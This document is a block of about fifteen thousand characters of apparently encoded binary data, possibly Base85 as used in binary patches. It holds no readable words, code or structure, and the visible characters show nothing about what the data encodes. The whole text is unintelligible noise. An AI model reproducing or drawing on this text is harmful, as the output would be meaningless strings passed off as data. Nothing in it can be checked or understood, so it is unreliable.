z#E{vms>#TS%s72rm@v_W`DsPWDwhtJr~oq*P_b^HK!>_C z36XVRnE-iZk0qKgmP z5rS9Np_On1PgYDr7w%EhJf&sAN{q0^dpEc-V^&kO9i%nd&e(G*M1^-r2ZBmuYuS>1 zgOoW>BsSE*w<^~sV2e~zM>e!fgA2J0+p4STz9A@f>=x|gTaU`Z4uv=TDoqDU60Lo{e@GNoB$RT&Rv#b` zE8uA?sEk$VBj@rAC<6QOMH`7HyRr;`JWLlj2%v&mj2B&!%n(t+l z1us9n*#5IEX>P_f7+$W2{Fp}6%n`9yItDP#0j+0lTPgIg0>#7p|;BvTP%w4uXRD zMwq}(ToYLJH3G&kVUk?7yh#*2zL-tPy#_9^d9_OQXlag7Ar=r_ntZY6@H5o-m^6(=I(1PrULwJlP;=xmZzc7YYR8g? zJN}I9aFEN^8bm}vO-*PJq6L)&iC#^}NNiC~lZ>NnysU8a6Bwa&O>oT~kBy8POu;R?WE(- z*5yoLqDxs-Lv3|sUFeTZJ)Z<1kqss=WgGai;&iBN#0IZ=SHeWsS5YTAS}WY;@LTGV z2>@u2fjw8U8sIQRWxBF51r{&6$ym)dLgg=4`!~r7Sa6ezC^});rSkgqY+1u&DuoY~ zd9MECD_f}rcc0ADQ`QhJ=GokSe|NBM8FLBIz<26sa%YSl<24kdJK*JT@}Mk(2a|rv z!ZduB-78b>q#uh6>RWXIH-gGk&l6}Q#af&T4+vL68C@{4iZ}}&`YUJ73G~5 z17@gX5h~b(4=hzd5%SxRPErC`LY|T&95%>P{AclwhfC^zXx^oZRwn`@b-w_LLbAAX zTjv&8!H6hnw~=-3XvcaM6r#LIRtidyLlF7)U~@?cq6Iey=BQ<9+JN`IPz^{JTkGh; zLb5bcG97Sze9}8P)MQEM4#DKMB0~vZK+S8n@*jlPVLmf*?yU_F9#kj#GS-8_w zwkYEW_ndZaV#hTsT~T_C#Czzr$T8t>JcWtd*o2zC`5ftZ(f%(J z`-G>w%THbBNJ`-<8yIftlqCZ-@0Q8dAO{hvfF!+ac>+LD0bz*Rmj#=pdv`4ay*42N z;SaTJWbqf9vZ|8XTLAs1A(`+2WAkxSFn~%fHM;lOme0bLaM;2kKnq z3{#g=`x?ABqVVyF zmoqHs`!^@B$t{0*o3aWN?3GJGSG;-rCg*W-jfsD_~TlSDYi_ts;0o&Z{6V%J~Kh}>2DK;&tI!ntZoWg zmF1n_>HOLKZ1D$LY{|k5hfv~bx322LcdY&LKg>CyRhLKp{`up}@ZD1tQN}-ijA*(N zMw_K8MUZooQvB=sBSt*bQ@KrI-sCqY{C)TLyY4qE109iYX5kao(D8t~(<9P(BD?P~ z-+}bF)eJQAUGsKoFFMV964bu&)49=;p;rqP^|Q{1TLY>L15M!CP_&)i)R z`weDyf;tCPBFIQ{1zm$pvcP!WqsrQlJL%Cio}PT5hk8hGpw=_HJo}cZ*`S^fn98FK zBi&|09ULbHXKT=FX`h6%Q^EZZG^8l3^9{(?i?GHblnHC7+YC$i_EaXq=F-oYgj{YZtY7i|q1qRo||>(o%-v)S9?!g`89fZ zMJDZv+tA+*a*f*Z7<~-a{og!fr#HmzuJx;IVsi5OZ_SnMa#VXte1|5_+&=lDIomUy ze*E<9gVU|kL~fVz(Y0O?3Hr7JMrp@o6W@g_q*~b5!WM^>e}cCLxF2WS2)XoarCoYU z{sWVKP5-)n?0-Y=zwF0PT)d7ZO!mRYZm(9dy(;$bJ=+|MfSxEkQ_p^0RmJC^iLN>T zOYz}z@U~rx3kpppbHJO^rYivy{`hz@2JcEMMQxp~=~-txXflBk|NCDL&YTH^pv?#4 zHCXbj$V+(ppk3-6Z>?NKuTF*uXZ(F(c>m?km%qQf{N?X}!!ud{TQ{M)U=ss{m408* z^RXcSA(p3aYM=y85wbNYwmvY-+3uoIr&!bK-{{ox`nAk)h)_Rm^EWA>DF;QzIN5(>_QqAmx4dCOlGUY}XZTk= zR54Ftj~Ut=E$^Y7kCo#6oIb$sdZ+X`_VA);L=}sk#>Om|0);+{N+N$UxZ(np4QF?Uq}D!% z+5F0~{#Ab+`(CX>d%Nq7^hBSGPV@!_upFaDaY*8ym~Sbw#$JP41U=FFRdr!!`L6$T%wpj>6lFhitvnRKccu(gy^*c@ zd0=LyIH38Jokz&ci^?^x6uUOOaFaXPj~3WxVr)1E}b8>~$|o{YlKNi6_(Q zV!j-Sd2DH!Nf$0#Cw`L>8FK6}WO{UJh?&?rCJPF;9OazNxCQs#=ll`54(#7^H`na! zwz<-_0FE&!dhe?lr^;S@ATPLat=V_Gj3*M&4)LWnKG)mXt2w5F(UtCW4&(&P2vXL($H zHphUrs5(HRb^us!-jHK75~I!drEWP~U#TW5^hd#C+ zDm0!0E#OynV*=UqI_3GFY&GSRK0fkW3UxhQLOOcHCv~&Nq%2p2@={?~(P{O?jjyJ* zzi=Qno`3lx<0NXn=4#06toqV)3HdfSlCsU8T+x4kVy1%A*!d?8*C3s@%KovDS7hVQ zX9*7PMlj?Xd)btVLUh9Kfegw(&dqa=(08`om6Sabk+lV@|K|8_uaOT+igYOJL125G z-J>^r7@c}(-LJCHH(rY@4-DA{?7lhcExhf?wKWZDuTf52I^V_dk?>Qb<*R)QVP`9| z_f?dW?z2cupyO2@8&|+~6EutIql3`2kFOs>ofjQKstaepe2~yCTF|Aej6sUa2;F$! z#Ma8Fmno#q;#P+-e*8XZIk-yvGuEDV(?2PtI_r3!V;NI);8@3ehl1OT=?pO`KNjOq zqh_Q`4B%%~iEL?3*s5MNd9zMzHOa@vvR{@~=p{J=9)sbNgOu)1Vr#r{2s-96h>PZZ zcADfvo`N~V%}mKUM_cUt83BL)`n2XsoAp4{rm>Wy2X)1hjDkmcnSE8&J?gm}Tg0-7 zF4NbSjBrp*HN?PIPB>x_fX$HqgZZ;ov_W&g8#4eo zV^UNN1$ug2Xp#lrxCdJ{iXHw@5+UD3QYZ4z)agG5n0k(UL4cAr&WJN9`|IXA;$%t2 zSp2j>Cn~aYBb(#{p?|U}fBWmMZeYzqm1otbHAmMN(klrGWrXz_iNgm&e`CuC$HBVC z@m~QHA?QTZG&$ty?*YOMTHS`{3v8D&MVO!b`sMj94#s11q)YoJzdSe)IewwWGihn) z6rOh2g4tE-_9vyr!DmMZF)u#2iYX$^%6jh{bmPouXAMSmdBw4P+vt0KE%=cLSd1sc zl6-YQyk?m0+3Sz@)om#wAHXaxpP9PuUfseD2{lR^cerC4xM&FNI00P69$HcyCsfb* z_rKWM;%fHD{*=WJB@wJXBoQ8Vi)&g0V@i5s5^QlJ>QDvOJRgJB^oB9Ec<4c2x!8mS zcpA_lY_VGn_u~xMdhs@A6VcvWaj3R0B&|10ASo|W+iCm4l)d(u;vl$}I19G#mP8?% z+05wBhZ4Jo&7)pJX8u_|olDdgmt+R2{f!2RZ3o;v8w{Jpc*h)&30moDn9f2+1WJgF zjm}@;fPS=fW^Gq#9l2u)mbFyNVejqgAr3CG>?R->+`D$zq)6m>oEwpVLSy!&cB4Jh z(0*y0@Lci#b$e}WdUuc4Bmp;=@u*Zx%e@-f&$TvapZs2`eWPe8;l5z08QMOdE*Sd| z2$S~Fa&JUEo56TCotGJkQrkLjbjE;K(n9C~{A%SQ`~AWL8~fJv7`(Ls-g z65o7IXgk-^$lop->}fN_MbcX+=`Q?qHGL92gQ1?8*$64rZaTDI{$pmy(K+Uq?FmOt z@N(f;Pi{DX!W6~eyACdL#s-K{P(q7cBjUm1LNJ@A?F;Ja=L`-6-;wx_z}Q@XpwF?G z%n9>fo)hZM_?r0P>H+`FY_tH8iHWB2wHCUoR*iO>JTYNPiE|g|#zRLK)3_~8H=>@i znS&Br{sZnxFh|XfO&W|10)h+@>ha!iKG(cxx#Q{QbaJ$x67BVneYZb$;=05x5Mev| zeAMjOFJG^G-|nGzee@LV{ZQnfK%pM@%(ik)3F-tGqkJfAT)!Ge9OKJAgx2~{gCS+PsXX$bVUzc&N0me(&%6$|J{GJ90C~~ zF(|XsN|=qN_!PFihC59ImowC?v)m~@Z*xuywqEK8-f=kN;P#}%tN=rwRU_L*3DY|I zLUfqM8X}ZT1D9QF#m!J}T@4aOMySWp zp*)UbSzVoz+U*wC3s}6Vy8M>3-So5waCE z_F^&5qa#0xlIE+eRDD4_O{-1+XHg$5Uy2^%L0zYxAD=iv zfMF;Q4$(?h)gJ!a^8j`taeBHB6xb6!tIve54nL2I#4HWV6DSscaUa_6h3boT|hvVZ8G z;KtM;C7Hi_D!q09&^*9R)93RV@w&infxcwJ>=w8ZBj+Gy*cGSWrv}DCBTZ>%CCg_( z1Y_n39IRfKX78MS{O>k&B$*THee7|$kLd&<>>(Q;KHPE~ev_`YI4cRxx33OQIBXV; zp0yZD?+H>#tuCq7#XivDefziP{sH5KY#tXkxmQ6PbL?aW?Zt3D1XVsX8qLEg#rvinW z-}(Of8pmIL>e^{-+g3{w*dFXH0SYesnSJB2Y~MMwzYgV_&y7@|EiLk)z=G@pPS-o{)f*p31eG<0Q)oaP{{c0dPKmFJb`3O9C2mzn^@+?xh;B2a`#= zNA|3-vOqa$qGgm`h7>f)D}(To>Eyn!*L@!8TTLCmGQ8ff9&)E~d#kT4%d-k6OJYv{y`;z@}(=a{Q=3Qf@y=W=mVMK@6^(Q~$M)1Va zbhg2rOR}p&Dhiy~MWG2}%Rfz>P;Gf1S2x#WItz1htx(c{Z`-Y`|bV zv#BUT|B|~VD%wF7>$ zQiF3<8>=}Nl@DWy4_2>xf_-%FVd^LQz?0-z^~?V&UN`kZ^p0r}w*_YoHHw5%;e{Ft zGS_hy8SDhuPnaeGL7G+f~xCBdYdE(lp-bPAqN=w(~(pP7=p6 zQWvd$Sa@?s^R&X~|pi4-dn&8LiX@h{srKIjd3Ablh zoV0-oA^S+b(`MGTg9g7vtBR=7EX*-%DEt8utZ+ zRDRjI|5s_N?a$T+scZmnn!q5#0VCk!01&}K%pMTH8v!E$fvY8IG1}ZarbE@*C!@I} zH79hoUENBz&VD}Fc_4nP4ade}g86!2yXV}anb%Jryt#{+bE7%2@E}B;Q8@bi`kBLb zTkNd&6tOHi?j4A&_pWVfd_P#7xYu`I(z&CLj-{V@+{vlrD9l)B&!d5xO*5GqoVh3Lh$b;Tk-?oHrw0ATGVgW6 zlVT6k_5X}tSiGL*cfEc6j@d!~79}h{@@9cUzNRMXPyP_1G%-AwP5oB9pvUy_*}gep z?*-iJM60nUy4j#}5F^QH9UwC#6-DwVtyTuVV`tzT3c6V2#X7!S;0ou)O|;k=5zQNp@=C*+u@qpBm; zJ_UInJ1;Fe-`+?lhTd>fBT3WFJfDr*zin{&u@ft7i?VBjg7W!2{?D46`*2Bf7_p&a z_!vrrp&uowefU1aY@zwWj8iLbmm#{7I15oURPVHMC)=)~QxeSRZv~Zd+L7 zBLa^0m+V(5+m;)lvx^o59)d;`D0H|-YgOgOTw5FZ1IMZ zaDK7h=gXr<5@)TgvT9l`!aMQ-@Rix?Al|qAGc{e<^=nV6zihAXFZq1ME7r#8M^Rhv z8YG>1(jkH_staEn!+Wylb@SX<-9o+JRT>+^sgCMO0B}`t)Z`B3>IfLz`X`oLmgcl_ z*;XYcBIjIHdhMzmJ!D+K$T^dv2gT+{nZvPjAi3tyOr$RfrE#++-ZHUIf!W`d57nnK zb!Zx5rjAU(2{fN9T=|(KqkvPFQv3>V(!#1+9Q=xQ7rV23E#%84R_IOn1GLK>IC30!iO!N3TlE+%FwH6vEG#rcp;fJxg+3$0<)3tuZyQ`wc_xK@C)8OtkG+ zV?#zcWUE`(&}8kku>GFor5(fOQx$5PIijuWBZq1olx)+pS@l9Xddet2-ql8bE3ljE z&`*yG)qbsW)=YKYIT#;yOGH|wK``Ba)a1c?COK!%Iy_-SV-qB(OpS~E71a^HIvzMI z>II@Sap94zD6#@J`vl{Bt2qmjT@RzV6wqEkxn8>e` zVmg=pLKBBLHZ2Hex%Nz^HD+A{H6fF~Q6Su7I%m9|NOQ7#FaNiG4o2jEYdDWCKOA+x zuWq$A3$%I4rv6!ZpdxPUFB;Y&+Pz};VhW-`XMv0383bD<-mA--r9^S{ zACNvubfTf?l6j{zLfctst!G;y6f@z^L9EROWZrs94Y`G?MA-6PhsOwcQ^&+P^VKEI zuqfzd&lVa#8553|(2A6jP`d?KYZ&y^_f*?|RFZ#m$mlnmx0G4r5JL>0$7m11QjWL( zpy=CMuajEl-tvg*kOf(=6u5*wBrPck3iZPlE78Q6Gu4NZvP9h{w zQo_cu*tl|?^9*|-QrWryPSPHDxIG65n&iky0{?x%Sms!?WLaS>y@17scp z<0_|nj`%$zz4>d}`GuE2Uq(%7z6ceO5Feh#xMkMV=dcLq!KqTHmUg;vh%XB&Qh->^ zBRnAiM*ld_Xj0Saa6?#p;@nWZldgBxBIZEodEx4Lbt&ZQ7au}M%DEIq`pyh${AP9~ z<28c)=m(5JU9%PYu53loZf&@H@5GGG6Sj-Ke90I9KYupdT>2+#?|*;4Ygr>g%C-pc z6(~c&pZ_X;xd+Y5656->IK&7sf~CLLTmK8L#RspoN?2Ph0+HvU7%1&f^azc5n@zev zBUNfp{71lUn0gilp61}jnTtk*ly^w|6l_8kW{)fI+F>vRM(!@G%xJhyzRCC*3WAlq z`wphcsB=~6N|_sm&HxXxsi!v(*D1gv$ga`ftNPUv$~}!w8PZ>_hj?Crn<#BbuU?UKcCbk_13+TSA5o55(kAQPnPOBH_Kb= z#}?F)E!R$ADfSN0Z54$?g?qzLbddz-%|jD&!Ms*+_ywS9F3n7d8&^=y>PTHm(gh}| zkqL&f@Y)BUyMp=;EnqpLYlb=rEmiJQiZNsc zG_E3(*^ax%Da-Mu>*M`a8bA__I-)^a(y%WW2;oldVwj9G$Po-MRzZ0KG?w=OExf?L z85^?_ZKmr9Up16x0J)b(`O04%&7=;|z?vE49SJKw(x~&^G<2~^)43}`gwUZe$|p7{ zioN*$h3b@^>f$HZaW#1w-`|8y{=>#K#DQ@t$`G)e&Ojsh=Weu@?8m$vsq!qlxH0|zvHL;n;`n&*{o+Ze@$qf-3xz~HLI^Tn~yY84b1}~`>wtB zxtX}{*Dm~G6G{t_rreHmX;8 zs7wVqNO33#S>;>`qcoVsLW%*#ophm{8v>~M+32;0sY3AncG~z5z)UiAgi&KU6L)`_ z89+1`)eGed{twOxoOd*`sV9VMS2lz!AD|TTqb=MTglExDnADm<`zP9iQ}hYXFCLxn z*!PH__&jn{_4DZU31R1rqc67{>nS~U;^?tEPwSr~9($W-@z2wWmtG=$$gxTM@oSgh zA!`L{%l`W|R-+fuMm|4Wsi^Kzj3}_?N^nC~%Wk;kCm}vwWAaghfoPzz6Yx~V%wA~% z@jwebVM0&HT}%0*a3s^f7Yb=$-gf%RwRujy6g_&FMv2z}S0Cptq+^}SQsOiKPrWrl z2asr(aSf%=!!+58viA&7$)}#tpiG1&V@fnZ3E+j~Kfq2p4BUD|pwd{K#uSgXT!5o8 z8Ry~gOmI1qdYcDO6~Js7^(zB1SE8S>sdF{97JAAacUmV*t=0n+8fXFot_oW^Erg;2 z0Hke?2Nh>5UJ4L*>YIqjSYA)q$IK*(K;)QNsl+Ps!koHLel9dCKIWT{5~2byI?{v^ zUzR&ZOQRNOfMX3I@cLv6Hs2>So2ll;bB>3W*8z^PLM&*L~iE9DlH<`>(A_ zpRp-bhfl~-z+_EI2EP&$)-b%Mr7Ek&Afz<#unUc9LLUrS3bX&vs7e)fhkkyTBIcS} zoTEc>lgT~B#iTr zZyH;sq!?6Kj|apbDsll6uYsk^so-K2-_X5ANiMbjK%p|8T1A~>MHU@4Xjo|HqJ2LWrNy95OR=tfz z<3k^nlrq|;?lYM88p=MnohJe>!qgnaW+M~qgQ*%d;V_S?)5UqmG{R0c$#ntoh+%p&Ox>x!cy>|6u%Z6wOjy}{`CG#Nk&e20 z)8mJqUvDGB-J_TA@*B-$_}Rj4+ra&q;PI+%?NL6pcyM2~? zY=IeWV+oz4BOsCz0-t`{#b;DcSye>Q(r{M#!dvR5%c=OWY~(WL@eghDN%r<3MGwE& z9D(Iy%TAO%qP$SxNIcA2HO0}b_A_VU6gK82kNS~Dc}Anyk$O&fF2ApL|Dsyx#*2>7 zkUt4CUoc5UKJB(@a2-Ioe46rJNDSBYM#K_He2@VUU%lHPQBuA#)@cwEgBnWqMxQmZ zsR*n54|{&hA&i}c;XAl%YG?Hd+$B}EOdw^6y9p@2ZqGxCD z+z+s?NiTsMKDA32`QSVHipKw|(qtJe#x2HVgEhG09#GBWBbX>sJM@E1$?hUfQ~5m;KW&;?o~b zw13=hrVU*tF1z`>^Qrb?fw8In9`V-6h-b$d5-s6~6V+gV5J{V(pJhxd_<*0!1|Lq& za$@2tHH4jfD1oO8mE$+43CLaTnTEs!HMCO**^S^+Xr&H3Fpr17WczQcxvoAO3QMSx~!vXwGp#O=6g5Rh4p(B*335^WMU2ki~#uW1j5*jv2 z4dv)h=2U|T4E)>GkbM_uslqg>FvY207@M#ODVJlTvUvEN3S6`bQ>jP$ok56eXeWSQ z#326w(5s!mnHp%P2KiIC07Z;*0aOR;vKc5v9yk*qY*3*~ktiq=&sAJFZ-U>7T&ZT7 zQiOXVbWAffIu9U}^Dy6QxtoNugMp(DTwcDJ{W9bwl=K;u14CP3T`u3745H@osAu_= zlU?r=wa<>{->9*F_S1a?_3qujgpqRNm8Vr#*8CcLy61L*LH@LQv*qRP;}?8H!wU;~ zNzab{F8F(u{fXbt+BRGK(=(;>L%1pM*Q0fZ>!&kgZ-r=M#LUA^brksen1Kc6i$z?j(?NL57TQ@$xSt>%C< z_?#&d{MQxyc;lnFW|nd;NTq!?Sqqx*Tqu5@sLT#aQAUYxc{lg-m6s6|22rQOeQKr+ z%vs<0M{mtQwbDOe9be!YR%?xVN(8^=^5qffe(je1PdEM1*1sGHGd>Od`-bd_*3|G_ zvAMvMHMXtJ@=E@D7U${Uo-y{_eSLd4*NLNe)@WvwW%`=wr}la@_)U3*ciJW=j;kQ; zunpO1&6MFO=u}#PEombklgA^E>j{g?tA0nI%zCFRryAB!4Q9O#ol1Q9=&B}sc|AXYfhyecSk#Z=&s$qD`PwMU!J#gy!DFq z;HICar(3-)WnP;4qmJ|AQPz(z%gqv|O@5SF!5Svb)UbODE80!DsU_Mi-LOwbZP83@ z0)OtV@Z9lj0@VP9DJb8K>aCxcp-x-U*pxCHS7#rw8DpLL zI$@jJ?ENvjQ{N=*bc*VpeYEO}Xc3i4SeE6dv)Bk&(yi&AJ zd|ezNNbZHXWx?{i+Ux5q@1C-{d~MH#CB4cx#}oOdxHp?Kzq#4Wdk#303r5<_9h}KM zD38@+YiF9wj0rTRTycM{VPJE=9&W^j8b(`B1uUVu{#pV zbp$>E&0> z8BF0CXD^uAPFpqal*5i$Y13SaKcwy>?S0gGH!f`TLZ=b#z73;a57RNOM|C*CLJ&wm83q;A2PVOQTZ+4sQ#yJh5GcGBu;yfx- z+iF|!I`6Rk?zJhc0V12OUv*}#%KlFqUUhoxi{=ULTdaSX_}9MDNx#EH*7RO=?*8qnX~HP8~4gAjv_j?>qp=EPypTecYeVT9yqb0}uQ^`Te)`jy*n z%+DTXJRzPws^(!_vRy18>sK@WoYPcJ&#djKxwj=tcVJ54+(BF%a=Y4IK-%~r0XogA zUrlZ!6yxI~pX<&zoprI_DL`4D9ik>TGLmic0FTLrt(Y_={+|xWlf?&3@ktEbFQKf9AhH_h;~%9M3>c6sM2H!_G(G2F)OjHg!n$iRMF&IP3f$b>2i~Tm z%fimzLnHon+&wwuWC!1ZgMwoAA?H8A_eFKZgJ{diQ8~ty2d!3e9sVFwjBpi@@>*g+ z)WapNsx1lDBD?njS;XU%x(a?D#_6BKk7qqf-Z=VT)nC|?1(K~Z2CSZR4Sce!^<2xd zGlS5cG;G*&Rjmxw>7pEr_pK6&9PC^i%eA+iN5NXJOg8q68uBDUfs)*Nj>mOyz(`iL zS$bY`inb~g=_rUxU@va(!$tHf0LTusndp#i3ernT^0`<90Nl0YG(4AQiZKhqW8UiP zR-UCg=bmXr|AJb(vEJhZ-$k}d`@zUZU z1`NTU$3aTi;g8Y1iokes{n2~a?IWi?c~;h?A51hMG+RVbv+<#V*a+4=fJ&RN?}cd? z247^UaducY2$(8)TT63$p*UJ^DZ3-dbepiN;_Wo0d2}*ogZ{cKF3`9{%z8_N(E0oU z?<8IA=;qwkFRD17;|-JrjSRH41`K-HS)0ysvF{%dUDa;vQYH;M{-NU_Pr$rml20sh zkGT|g0iCbq(&yfb3oA>JWSPXEE_Equ>Z3oH@X?L}WEAZLY%MQAp<-h9lV+t*i$MZ|X8M1MH4ERYYr1(x7d%jU+-f$Ve6sDLrH&K$&`IJ558E$ReU3u}qMYX^Pv3vB z7H`GG6*o?I_%evWZ$4ydQ`qM4qa!|Iz3JSqlag>xCN=`^1iE~+ar}@l5PEXS7Bh>z zi^58v5T3qi*+4tEQz;7&^P5Cze7tBX8lyI&ceD?g=Lmb9dxxmGvlz(PLOj*h6q|JX zfI}RAKA!q6u1uTbP^?p5uZuq5sBp1sb(u5$-xHK#RgQy>*5_AvWn;IUvDw01Hy{6c zsMeldupjNT`s$QbH?wc~kd72aTRsMB(M5dpboSM7z)v)JT&VF`Q+jLZon&2|iIX$g zs9aT0`0~QPzn?rUy}PyxG)-^212M$+8XQ_2$!HsC6Dpc5D`7}zYJgsXUDbt|`n{?Y z#+cC=e-E~mDP?&yS!tIP?|J#2NHmuhc0M3%$pI*iDfSXzcI}bA?SSWYxR?oSI%y&- zUa}zp`EfYE{va*uz(!?sFL0{IDqsQ(_>HtWC~GP@pwtAI&;%q8LTMdS?&Tb;D3L8` zf{K*l7Lk0djkvHRV#x%&BpX30(JnMJ557FDWA}eKT;my5S29CH*a{WVtm@M1sR>u+ zq#vj90G`1+0s$~Pr2cZ*Jlcs5H?Ms9aK$3Kf4s2Y>|3PyvlH>NT7%B^&y1-x{K8^O zwh%kSgfLv7D8gD?W zJCM!23<2{Z?6y)S*{`&)J;@Kziw{u?n`C{$aY0(l*> z?Z(v=sV4@n z+c`ym{WKg|@bPe@xn+`FRC$tRv+K#~vFk0lq}i`yYFaTB^8ZnE?r|;se;hyO?7r5v zYGqxv*44VPQt7I*mP(=_Bw<}7DM}YfbhdS+QVAif3;Gg-qfu&E1_NxvNx|bNaK1%kro$gbb$3siV1xeIULOpXnm`u0Ra( z+?}HCOg%9To;KVk}nP2col?2Tu@84C=WqQrwv_I z$o)tfF$AM@keK=8-Tx1<39u&p0iK9+c6LjNa&de)!Hh%Q)k=uzZqL|jW0r<+c!Z3Y ztjFSfGOy$L+G3vV<@Jtx@p5TKUJkb0U)J-0Q+j#xFj}t!)DE?|k;UT8{dBPiD6V%2 zC;{xzUT`r!h=?5y&PC5stqCrjiM@Q!ihlIE4%zX<Y|Z&9Vv(} zNrn)29$(F~`!-0T$i=)qhy`2KhJa`R6%A!shY(gYA-WvguJSBGBSKE=2pPW8v-g~x z48h5;>B3y&%eQs3py%@>#123`!Mz+0K!oX&RdM)%;74wS0anKdt}4(B$M8N(4dJbRX?jSm-84ZvL99=ggvfFOLO@hyMnRbZ=d#Q~B(}Bkn1p4N z;j9b*r$Yp%%260;wiUd3whGkg(9uwd6VeFtQA)r8z|b zU@a%8lgc4>G3Ku+CfYnR_-j zAtWbJMmT-f*s%Cwa!AhBazYYULgdxAe8XnabFhlV@4w|PxF=r9%ZY$)7Q;?cFxp=U_F9ZyWk>Xa(3qB#&B|0 z)k64kOsbra%p@d+ERMIoqhE&Tb3Q; z0)6gB^inbnb&51_Z!Y?7l04}0CC%zaj>;_HrSsHNm79clTg~bbJeRgsVCK4hi04*V~co-kr zE#}E{k~q2X(>aO2LI)9G$HONO-^aV;`0_xqsDw7vDSe40lp7kYx!TqWP+%ZfMp(?b za*Zp?L=Y{RR#*lnrKti3qnU7IX{AW0Kj-@jlZpGm$0iw+4=R77#UUR)ERK_H#Bb6) z@_cckcGVK=jThElDi55^2XOL@tp7@;_7)e>#bg+9)XsBAFClIL5~e;n#+H7VC~+gfH8oy!&ijb&UY9VbH>k0_349BMU#vYAg{1gt4 zD>k2deT$m5Iw*uwB1cSJ4#mp|VREs>r;dU0(l_^xUO2DXd|}a+)4}kS4<8U(V``jp z>&RDn;h-Y6ekn}FQe59G~!N8$tG;##%o00FGKI1h#nV>_C|lHSP_3`nszTboz~(q6;u1q^nN`ki&Z}uQ90*d!Ec#yPAJQl-;;fLHyXd%ew>ht@`t~EDK6=ai95(7 zCQa?VRy0z|Nr3i`R~!;scZ>CvNNjpn9(S3BD6!0;s87{%eflf?%s1jD9mf2dxS+E- zJ6>w2+*$U-YuSPHb`8BZ^fG%Q8XN2wC6+v_%$6U>6dg6l9IayDP8`b96oG86#3Dw* z=;PG(iA`b2>~c`8xozUzmqq#?>DD`vFdwy-EtHr|iz_t~NFOFFV2LUB;j^_Mdzvtp z@csSLLbJZ_A62D>oFuo8$MGNa>}Ep(H8=~IpuwQ$Hu3z6BUEnIvAYv_<-lU1bLKd~ zK@}g?B#jBl&5)TA?sWd{oeVjga;yBmHF>$|<+<^-*vW51ukM@_;N}h)j??HH#`v+? z<_BqbLr+Lfaydcjl4AvcDTAffoSd#LD6>Htf2rm0c;u!#o{M9MzXjOk&!zW|rO-Z1 z9((4{@`6J^N7o{}XcorvvsP$KZY)ed2_-o0sHWva@~mm`YSKvrm+6oGD9YY}$xi-| zClckVx0GkE;}SAM@XR!gv<99VFO$4Es> z%q;DWa~6cZr!Vfh`B87}WgzxD_V86{T10uI^lV=F!?l{Fc99fP~b2aff93%~QfOnq>Zyxto+AO>e~e;fWM?$&1Chl`VI& z$g}pu4D(u?Gx!e435~Gf0(*u>TFCG>vyNg@zr6$F-nmCseH+Rzk;{5KR$Y1hcP?=`08suU7}&YU>Z#;$JNJ8Rz7rmK?j z)K9U=3dB6ja}~kQEv~V0sb{(XsM?!uK|6UTd22v&2>tW%TZxCAk9?nf z4_riw?0>xFaIA1%#*k@RA1qnELigdQ>$>>AZd0TE*VJZ{+YaT^84F$rvLfu-_vz0+ z`(gUxmsd@@KmK{YRlVTf%SVHOwipuZd|&^`g&A|#u`z+=Ls3-B!SXsfe#x?!5Xg*e)93udUfDlSIZ+CkM6WQ znz>V`q;>T~26?_LUjAtIF{f#9(qQ)rKax>Mi~;Vy|4tj@XL0C@SLoU%1T1LoDHh|L zW1bcnYPWKIJw69&ammM32gq2SY9dHWE#s|YEp#rkJa_&E`B2Eop_TmEQ*qnZZ=SAb z81XvS`y&W5Ifjc4yJ)b>_Hw87&C!)779rkDF9argN@Z;?2<$8o)pJLgoZmp*BRk<6 zw>fRYCha;c+B`1~yx!JYBv%rsr8kVAOMk5CzTbhl zTwoH1>W?@H-E_a}C!#O3zRWKEV)QLc&i8sddc0(Uk&8@|OCQ zm``Ir@6??XYuJ5OnHBP?W<-2kRBP!z*J(tmVXa;s^`Fb7kEv=e09`X<{)pyecaD8W zIBnY`2eZtC=$7?OV*?P$+{WEt980W*18wVmcz409_N3D5xwt< z-2Ty${Yhb!kmj_HhrG5SL*7EAbJwW%o@#Zve5r72O#rS2pr&@28Py8GM%fcEuE}a& zsO?>{oA9npbmG3%eI2{k&o4;oN?<9bl{lj($kLj~oFQS$voFD7%PceYq_EwJ(|zt? zoGSQ7aZBjy+Ix+OSgh8TQ&SV#61C#7Hr9k*X0vd%JDp(_7`&XQUS-u4u6-0CpWU9<5cXn8tz*p*<4=@spJIBP-j(C+ z>G~fP`i{Bg*yEFdksov3KioZW<>dX5g78E6=BdzR&UwsfgTMa?S1X^Iy}i7tk&|wo z;TC*S;}+LTy43obndJtvkqS9F*ADqdU25T(<4vnPdlI5 zylBnQ<)vR7qfD|t1#PqLsnot&>-%bbx9^ch$MFXO?LDo7tM}HO@XbC>ITGV3jWs@- zo@~AD)>-(D^|MRS8&9k|PYbfUQLGuPh9M^WWQB$lBn68wQMYW?-|=2q8}jUo=&tpi zMsmp6Jg0Nvthn_$hPtwN5v1p`sjEQBD8rKN-Ndd}5{TR^1!3G|&kz!({deQO`?~%eb*gIlL`?djFuQ zy_|pL9EPi!O%utW+gB=+{mwoiyU4DQE>%uB)5SySKS4&`#;s5H&GXPwGNPH{#b$rH zJD1j*=&3;Gp~{?$!pjX;ZrS+@@1K)wMR2>PTWP$6(Eih@SE|k z3BGRqiA5_$VW|Hv0lx|z4mPE+Kg(OOym4v3?P=q$G3{1I&xLCy)nKB_+sC>E%Viez zbJ-S3%{>Y1xOhFAT+dOzIdbX78Yw0E$k@skM!FwoRQP9cS2lR<>$B52dNNTzUhB!= z{?s^=+4IW)mk)`B%R^c^t4jcG1z5Pmy?TCqtupfKyda#Siv3S?x7r*f3$<1ozD)C5 zaN#kQT#Uuo^0K{}D?ep2rJAR1fjnosxKvdnEp$%u)-|=roUm<>Mu;L(fWkD9`^j@I z!9?3`faEXg*Q`}5e6GAgHqGbskY2#oUb@AT`clf6h@$>k{MOQf-j_XF^N39yTmLLI ze5nfqq@$OLY>m(Wi_v?$>ef~*qx|!4zNBI}ic3iXkGCmH{E0Vi0XYAGGry*sv5bo1 z9bO)<@7E*E*F3jHUCAg+e1TAw+S3wwH@HIaa+`D+#GHnVuib++qGeK}VFc=z=NiV0 z4Lsfx&Uzy!oV6;I7!&yfcZ6>@@r{JmIoI*j~~X3B6FuPZax@m9|P;W)wmUtq~IDdsM;%!|f@EC;9@v z!T-JDw(#zqc(T!Pt*DjGr3VQ$0J%wwzMfnM_=Uha9T>++Mc5~$2hc)=VP=igGeklz zhmGX|C%81J9MJN?xc9B`#`@14YOz-+$jP8vtpJUBX;NB#C=f~@STR1BxrBim02lf4 zH5ACx9%!jQ%&0J-2TDBYm@hLJQn`XQTw|E5AXgCP8%RB(AWA)~)h+Rm@o{Al3*uU+ 